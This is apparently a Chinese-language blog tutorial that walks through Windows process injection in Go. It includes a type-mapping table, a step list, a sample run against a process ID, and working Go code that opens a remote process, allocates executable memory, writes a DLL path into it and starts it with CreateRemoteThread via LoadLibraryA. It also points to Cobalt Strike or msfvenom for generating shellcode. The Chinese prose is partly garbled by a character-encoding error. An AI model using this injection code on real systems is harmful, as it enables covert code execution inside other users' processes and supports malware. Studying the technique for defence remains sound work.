关于go:go-hack十七go实现win进程注入shellcode

42次阅读

共计 4233 个字符,预计需要花费 11 分钟才能阅读完成。

go 网络安全代码地址
应用 syscall 能够加载驻留内存的恶意软件或者钩子函数

c++ 和 go 类型

c++ go
boolean byte
bool int32
byte byte
dword uint32
dword32 uint32
dword64 uint46
word uint16
handle uintptr
lpvoid uintptr
size_t uintptr
lpcvoid uintptr
hmodule uintptr
lpcstr uintptr
lpdword uintptr

过程注入的流程

  1. 应用 openProcess()建设过程句柄和过程拜访权限
  2. VirtualAllocEx() 调配虚拟内存,
  3. WriteProcessMemory()将 shellcode 或者 dll 加载到过程内存中
  4. 应用 CreateRemoteThread()调用本地导出的 dll 函数,使得第三步写入内存的字节码执行

扩大

  1. 能够应用 Process Hacker Process Monitor 工具查看过程状态
  2. 能够不通过 dllpath 加载 dll 应用 cs 或者 msfvenom 生成 shellcode
  3. 能够将 frida 加载进去,执行 js

应用

go run .\main.go .\helper.go .\inject.go .\tokens.go -pid=10676 -dll=”C:\Windows\System32.dll”

pid 为 10676dll 为 C:\Windows\System32.dllprocess handle0x158
申请内存 0x1ae387b0000
kernal dll 的地址为 0x7ffd66100000load memory 0x7ffd6611ebb0
Thread 创立 0xc0000a60c8
thread create 0x160

package main

import (
    "fmt"
    "syscall"
    "unsafe"

    "github.com/pkg/errors"
)

var nullRef int

// 获取过程句柄
func OpenProcessHandle(i *Inject) error {
    // 定义过程拜访权限
    var right uint32 = PROCESS_CREATE_THREAD |
        PROCESS_QUERY_INFORMATION | // 查问过程信息
        PROCESS_VM_OPERATION |
        PROCESS_VM_READ |
        PROCESS_VM_WRITE

    var inheritHanle uint = 0 // 新过程句柄是否继承现有句柄
    var processId uint32 = i.Pid

    // 获取过程句柄
    remoteProcHandle, _, lastErr := ProcOpenProcess.Call( // 进行零碎调用
        uintptr(right),        //DWORD dwDesiredAccess
        uintptr(inheritHanle), // Bool bInheritHandle
        uintptr(processId),    //DWORD dwProcessId
    )
    if remoteProcHandle == 0 {return errors.Wrap(lastErr, "不能获取句柄")
    }

    i.RemoteProcHandle = remoteProcHandle // 记录到构造体
    fmt.Printf("pid 为 %v", i.Pid)
    fmt.Printf("dll 为 %v", i.DllPath)
    fmt.Printf("process handle%v \n", unsafe.Pointer(i.RemoteProcHandle))
    return nil
}

// 内存申请
func VirtualAllocEx(i *Inject) error {
    var flAllocationType uint32 = MEM_COMMIT | MEM_RESERVE
    var flProtect uint32 = PAGE_EXECUTE_READWRITE

    lpBaseAddress, _, lastErr := ProcVirtualAllocEx.Call(
        i.RemoteProcHandle, // HANDLE hProcess
        uintptr(nullRef),   // LPVOID ipadress
        uintptr(i.DLLSize), // size_t
        uintptr(flAllocationType),
        uintptr(flProtect), //dword flprotect
    )

    if lpBaseAddress == 0 {return errors.Wrap(lastErr, "申请内存失败")
    }

    i.Lpaddr = lpBaseAddress
    fmt.Printf("申请内存 %v\n", unsafe.Pointer(i.Lpaddr))
    return nil
}

func WriteProcessMemory(i *Inject) error {
    var nBytesWritten *byte
    dllPathBytes, err := syscall.BytePtrFromString(i.DllPath) // 接管一个 dll 地址,返回生成的字节切片的地址

    if err != nil {return err}

    writeMem, _, lastErr := ProcWriteProcessMemory.Call(
        i.RemoteProcHandle,                     // HANDLE hprocess
        i.Lpaddr,                               // LPVOID lpbaseAddress
        uintptr(unsafe.Pointer(dllPathBytes)),  // LPCVOID
        uintptr(i.DLLSize),                     // size_t
        uintptr(unsafe.Pointer(nBytesWritten)), //size_t *lpNumberOfBytesWriten
    )

    if writeMem == 0 {return errors.Wrap(lastErr, "shellcode 写入内存失败")
    }

    return nil
}

// loadlibrarya 会将指定的模块加载到过程调用的内存空间中,所以须要失去 library 的内存地位
func GetLoadLibAddress(i *Inject) error {
    var llibBytesPtr *byte
    llibBytesPtr, err := syscall.BytePtrFromString("LoadLibraryA") // 返回这个字符串在内存中的地位

    if err != nil {return err}

    lladdr, _, lastErr := ProcGetProcAddress.Call(ModKernel32.Handle(),
        uintptr(unsafe.Pointer(llibBytesPtr)), // LPCSTR lpProcname
    )

    if &lladdr == nil {return errors.Wrap(lastErr, "没有找到地址")
    }
    i.LoadLibAddr = lladdr
    fmt.Printf("kernal dll 的地址为 %v", unsafe.Pointer(ModKernel32.Handle()))

    fmt.Printf("load memory %v\n", unsafe.Pointer(i.LoadLibAddr))

    return nil
}

// 针对近程过程的虚拟内存区域创立一个线程
func CreateRemoteThread(i *Inject) error {
    var threadId uint32 = 0
    var dwCreateionFlags uint32 = 0

    remoteThread, _, lastErr := ProcCreateRemoteThread.Call(
        i.RemoteProcHandle,
        uintptr(nullRef),
        uintptr(nullRef),
        i.LoadLibAddr,
        i.Lpaddr, // 虚拟内存地位
        uintptr(dwCreateionFlags),
        uintptr(unsafe.Pointer(&threadId)),
    )

    if remoteThread == 0 {return errors.Wrap(lastErr, "创立线程失败")
    }

    i.RThread = remoteThread
    fmt.Printf("Thread 创立 %v\n", unsafe.Pointer(&threadId))
    fmt.Printf("thread create %v\n", unsafe.Pointer(i.RThread))

    return nil
}

// 辨认特定对象适合处于发信号的状态
func WaitForSingleObject(i *Inject) error {
    var dwMilliseconds uint32 = INFINITE
    var dwExitCode uint32
    rWaitValue, _, lastErr := ProcWaitForSingleObject.Call(
        i.RThread,
        uintptr(dwMilliseconds),
    )

    if rWaitValue != 0 {return errors.Wrap(lastErr, "线程状态谬误")
    }

    success, _, lastErr := ProcGetExitCodeThread.Call(
        i.RThread,
        uintptr(unsafe.Pointer(&dwExitCode)),
    )

    if success == 0 {return errors.Wrap(lastErr, "退出码不对")
    }

    closed, _, lastErr := ProcCloseHandle.Call(i.RThread)

    if closed == 0 {return errors.Wrap(lastErr, "敞开谬误")
    }

    return nil
}

func VirtualFreeEx(i *Inject) error {
    var dwFreeType uint32 = MEM_RELEASE
    var size uint32 = 0 //Size must be 0 if MEM_RELEASE all of the region
    rFreeValue, _, lastErr := ProcVirtualFreeEx.Call(
        i.RemoteProcHandle,
        i.Lpaddr,
        uintptr(size),
        uintptr(dwFreeType))
    if rFreeValue == 0 {return errors.Wrap(lastErr, "开释内存出错")
    }
    fmt.Println("开释内存胜利")
    return nil
}

正文完
 0